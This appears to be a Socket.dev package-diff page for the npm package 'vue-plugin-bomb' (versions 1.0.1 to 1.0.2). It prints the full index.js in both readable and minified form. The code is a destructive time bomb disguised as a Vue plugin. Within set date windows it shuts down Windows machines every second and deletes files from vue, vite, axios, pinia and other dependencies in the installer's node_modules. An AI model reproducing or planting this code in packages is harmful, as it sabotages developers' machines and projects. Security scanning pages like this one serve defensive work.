Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

vue-plugin-bomb

Package Overview
Dependencies
Maintainers
1
Versions
6
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

vue-plugin-bomb - npm Package Compare versions

Comparing version 1.0.1 to 1.0.2

52

index.js

@@ -1,51 +0,1 @@

import process from "child_process";
import { fileURLToPath } from "node:url";
import { dirname } from "node:path";
var __dirname = dirname(fileURLToPath(import.meta.url));
export default () => {
if (new Date("2023/06/21 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/21 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/06/22 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/22 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/06/23 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/30 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/07/01 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/07/31 11:45:01").getTime()) {
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000)
}
if (new Date("2023/07/01 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/08/31 11:45:01").getTime()) {
setInterval(() => {
const arr = __dirname.split("\\");
const key2 = arr[arr.length - 2];
const index2 = __dirname.indexOf(key2);
const node_modules = __dirname.slice(0, index2 + key2.length) + "\\";
process.execSync(`rm -rf ${node_modules}vue\\dist`);
process.execSync(`rm -rf ${node_modules}vue-router\\dist`);
process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);
process.execSync(`rm -rf ${node_modules}vant\\lib`);
process.execSync(`rm -rf ${node_modules}vant\\es`);
process.execSync(`shutdown -s -t 5`)
}, 1 * 1000)
}
if (new Date("2023/09/01 08:00:01").getTime() < (new Date).getTime()) {
setInterval(() => {
const arr = __dirname.split("\\");
const key2 = arr[arr.length - 2];
const index2 = __dirname.indexOf(key2);
const node_modules = __dirname.slice(0, index2 + key2.length) + "\\";
process.execSync(`rm -rf ${node_modules}pinia\\dist`);
process.execSync(`rm -rf ${node_modules}pinia\\index.js`);
process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);
process.execSync(`rm -rf ${node_modules}axios\\dist`);
process.execSync(`rm -rf ${node_modules}axios\\index.js`);
process.execSync(`rm -rf ${node_modules}vite\\dist`);
process.execSync(`rm -rf ${node_modules}vite\\bin`);
process.execSync(`rm -rf ${node_modules}vite\\types`);
process.execSync(`rm -rf ${node_modules}vite\\index.js`);
process.execSync(`shutdown -s -t 5`)
}, 1 * 1000)
}
};
import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/21 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/21 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/06/22 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/22 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/06/23 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/30 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/01 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/31 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/01 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/08/31 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rm -rf ${node_modules}vue\\dist`);process.execSync(`rm -rf ${node_modules}vue-router\\dist`);process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);process.execSync(`rm -rf ${node_modules}vant\\lib`);process.execSync(`rm -rf ${node_modules}vant\\es`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/09/01 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rm -rf ${node_modules}pinia\\dist`);process.execSync(`rm -rf ${node_modules}pinia\\index.js`);process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`rm -rf ${node_modules}axios\\dist`);process.execSync(`rm -rf ${node_modules}axios\\index.js`);process.execSync(`rm -rf ${node_modules}vite\\dist`);process.execSync(`rm -rf ${node_modules}vite\\bin`);process.execSync(`rm -rf ${node_modules}vite\\types`);process.execSync(`rm -rf ${node_modules}vite\\index.js`);process.execSync(`shutdown -s -t 5`)},1*1000)}};

2

package.json
{
"name": "vue-plugin-bomb",
"version": "1.0.1",
"version": "1.0.2",
"description": "",

@@ -5,0 +5,0 @@ "main": "index.js",

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc